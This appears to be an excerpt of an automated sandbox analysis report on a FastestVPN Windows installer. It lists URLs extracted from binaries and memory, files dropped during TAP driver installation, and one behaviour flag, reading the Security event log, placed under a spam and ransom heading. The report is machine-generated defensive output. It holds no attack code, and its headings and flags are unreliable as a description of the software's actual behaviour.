    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.dr, is-43KDF.tmp.2.drString found in binary or memory: http://ocsp.entrust.net00
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://ocsp.entrust.net01
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://ocsp.entrust.net03
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://ocsp.sectigo.com0
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://ocsp.sectigo.com0.
    Source: mapMd1URzq.exeString found in binary or memory: http://ocsps.ssl.com0
    Source: mapMd1URzq.exeString found in binary or memory: http://ocsps.ssl.com0?
    Source: is-935KR.tmp.2.drString found in binary or memory: http://openvpn.net/faq.html#dhcpclientserv
    Source: is-935KR.tmp.2.drString found in binary or memory: http://openvpn.net/howto.html#mitm
    Source: powershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceProcess
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.datacontract.org/2004/07/System.ServiceProcessd
    Source: FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.0000000001736000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2628200467.0000000005071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2777953743.000001C20009B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmpString found in binary or memory: http://signalr.net/
    Source: FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmp, FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmpString found in binary or memory: http://wpfanimatedgif.codeplex.com
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2586520837.00000000067DC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.ancert.com/cps0
    Source: is-L52FN.tmp.2.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
    Source: powershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
    Source: is-L52FN.tmp.2.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0Digitized
    Source: is-L52FN.tmp.2.drString found in binary or memory: http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2586462339.00000000060FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423794834.00000000090B1000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3423478604.0000000009076000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3420816687.0000000009036000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2586317312.000000000608C000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-8HGA9.tmp.2.dr, is-L52FN.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-S1CTK.tmp.2.dr, is-AKR35.tmp.2.dr, is-6ANJF.tmp.2.dr, is-43KDF.tmp.2.dr, is-GCC8H.tmp.2.dr, is-BN7P3.tmp.2.drString found in binary or memory: http://www.digicert.com/CPS0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://www.entrust.net/rpa0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: http://www.entrust.net/rpa03
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp, FastestVPN.exe, 00000024.00000002.3414548198.000000000637A000.00000002.00000001.01000000.0000001F.sdmpString found in binary or memory: http://www.hardcodet.net/projects/wpf-notifyicon
    Source: FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: http://www.hardcodet.net/taskbar
    Source: mapMd1URzq.tmp, 00000002.00000003.2656000311.0000000007510000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.istool.org/
    Source: is-0N43E.tmp.2.drString found in binary or memory: http://www.openssl.org/V
    Source: is-0N43E.tmp.2.drString found in binary or memory: http://www.openssl.org/support/faq.html
    Source: is-0N43E.tmp.2.drString found in binary or memory: http://www.openssl.org/support/faq.htmlRAND
    Source: mapMd1URzq.exeString found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
    Source: mapMd1URzq.exeString found in binary or memory: http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0
    Source: FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.w3.o
    Source: powershell.exe, 00000035.00000002.2777953743.000001C200025000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6
    Source: powershell.exe, 00000035.00000002.2777953743.000001C20006E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
    Source: powershell.exe, 0000002E.00000002.2628200467.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://api.fastestvpn.com//v2/chat
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.drString found in binary or memory: https://api.fastestvpn.com/v2
    Source: powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
    Source: powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
    Source: powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/about
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/buy-vpn
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/buy-vpn?device=windows
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/faq?device=windows
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/password/reset
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/privacy-policy
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpString found in binary or memory: https://fastestvpn.com/terms-of-service?device=windows
    Source: FastestVPN.exeString found in binary or memory: https://fastestvpn.com/upgrade?t=ndelyNN7yduAc
    Source: FastestVPN.exe, 00000024.00000002.3413526573.0000000006182000.00000002.00000001.01000000.0000001C.sdmpString found in binary or memory: https://fastestvpn.com/upgrade?t=ndelyNN7yduAc5Enjoy
    Source: powershell.exe, 00000035.00000002.2777953743.000001C20009B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2777953743.000001C200504000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://fastesvpn-s3-eu-north-1.11982
    Source: svchost.exe, 00000033.00000003.2624525751.000001D2B411E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
    Source: svchost.exe, 00000033.00000003.2624525751.000001D2B40C0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.drString found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/JamesNK/Newtonsoft.Jsond
    Source: FastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmp, FastestVPN.exe, 00000024.00000002.3424953726.0000000009542000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Outfitio/Outfit-Fonts)
    Source: FastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Outfitio/Outfit-Fonts)ors
    Source: FastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Outfitio/Outfit-Fonts)s/F
    Source: powershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmpString found in binary or memory: https://github.com/SignalR/SignalR/tree/7f53f266daf1aad3dabb1b6d7a71d4c1501ec8dc
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/SignalR/SignalR/tree/7f53f266daf1aad3dabb1b6d7a71d4c1501ec8dcd
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3401931455.0000000004392000.00000002.00000001.01000000.0000002B.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3399394309.00000000042C2000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3402552150.0000000004412000.00000002.00000001.01000000.00000029.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3397669187.0000000004272000.00000002.00000001.01000000.00000025.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmp, FastestVPN.WindowsService.exe, 0000002D.00000002.3400922074.0000000004362000.00000002.00000001.01000000.00000028.sdmp, is-IS5UL.tmp.2.dr, is-414AO.tmp.2.drString found in binary or memory: https://github.com/aspnet/AspNetKatana
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/aspnet/AspNetKatanad
    Source: FastestVPN.exeString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ff
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
    Source: FastestVPN.exe, 00000024.00000002.3435871294.000000000C652000.00000002.00000001.01000000.00000043.sdmp, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
    Source: FastestVPN.exeString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac73275
    Source: FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac732758
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3411231020.0000000005E12000.00000002.00000001.01000000.00000015.sdmp, FastestVPN.exe, 00000024.00000002.3412270868.00000000060D2000.00000002.00000001.01000000.00000016.sdmp, FastestVPN.exe, 00000024.00000002.3412104144.00000000060C2000.00000002.00000001.01000000.00000017.sdmp, is-EV611.tmp.2.dr, is-29MT4.tmp.2.drString found in binary or memory: https://github.com/dotnet/runtime
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp, FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmpString found in binary or memory: https://github.com/ericsink/SQLitePCL.raw
    Source: FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmpString found in binary or memory: https://github.com/ericsink/SQLitePCL.rawH
    Source: FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmpString found in binary or memory: https://github.com/ericsink/SQLitePCL.rawX
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmpString found in binary or memory: https://github.com/hardcodet/wpf-notifyicon
    Source: FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmpString found in binary or memory: https://github.com/hardcodet/wpf-notifyicon.
    Source: is-S1CTK.tmp.2.drString found in binary or memory: https://github.com/novotnyllc/bc-csharp
    Source: is-ERPH0.tmp.2.drString found in binary or memory: https://github.com/tmenier/Flurl.git
    Source: is-ERPH0.tmp.2.drString found in binary or memory: https://github.com/tmenier/Flurl.git5
    Source: powershell.exe, 0000002E.00000002.2628200467.0000000005258000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
    Source: FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmpString found in binary or memory: https://in.appcenter.ms
    Source: FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmpString found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
    Source: mapMd1URzq.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
    Source: powershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
    Source: FastestVPN.exe, 00000024.00000002.3424953726.0000000009542000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000064D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://scripts.sil.org/OFL
    Source: FastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: https://scripts.sil.org/OFLThis
    Source: FastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmpString found in binary or memory: https://scripts.sil.org/OFLwww.rfuenzalida.comwww.fragtypefoundry.xyzRodrigo
    Source: is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: https://sectigo.com/CPS0
    Source: xcopy.exe, 0000001B.00000002.2511066457.000001C8921CB000.00000004.00000020.00020000.00000000.sdmp, is-FH0V4.tmp.2.dr, is-A7TIP.tmp.2.dr, is-5MM1Q.tmp.2.dr, is-S1CTK.tmp.2.dr, is-ECRGA.tmp.2.dr, is-AONU2.tmp.2.drString found in binary or memory: https://www.digicert.com/CPS0
    Source: mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drString found in binary or memory: https://www.entrust.net/rpa0
    Source: mapMd1URzq.exe, 00000000.00000003.2683170496.00000000023D6000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2129146143.0000000002890000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000003.2137146719.0000000003390000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.fastestvpn.com/
    Source: mapMd1URzq.exe, 00000000.00000003.2134124471.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2132204149.00000000028AF000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000000.2135762206.0000000000401000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.innosetup.com/
    Source: is-8HGA9.tmp.2.drString found in binary or memory: https://www.newtonsoft.com/json
    Source: is-8HGA9.tmp.2.drString found in binary or memory: https://www.newtonsoft.com/jsonschema
    Source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3404861040.0000000004502000.00000002.00000001.01000000.0000002F.sdmp, is-8HGA9.tmp.2.drString found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
    Source: is-SRDRF.tmp.2.drString found in binary or memory: https://www.openssl.org/H
    Source: mapMd1URzq.exe, 00000000.00000003.2134124471.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2132204149.00000000028AF000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000000.2135762206.0000000000401000.00000020.00000001.01000000.00000004.sdmpString found in binary or memory: https://www.remobjects.com/ps
    Source: mapMd1URzq.exeString found in binary or memory: https://www.ssl.com/repository0
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-HG9F3.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.cat (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4I2HI.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.cat (copy)Jump to dropped file
    Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{a3509ad0-a935-f943-9229-64aa1d53db31}\SETD164.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{7287f939-a023-4a42-8efe-c3ab39b8505a}\SETCF70.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.cat (copy)Jump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-5MM1Q.tmpJump to dropped file
    Source: C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmpFile created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-1REBS.tmpJump to dropped file
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeFile created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4Jump to dropped file

    Spam, unwanted Advertisements and Ransom Demands

    barindex
    Reads the Security eventlog
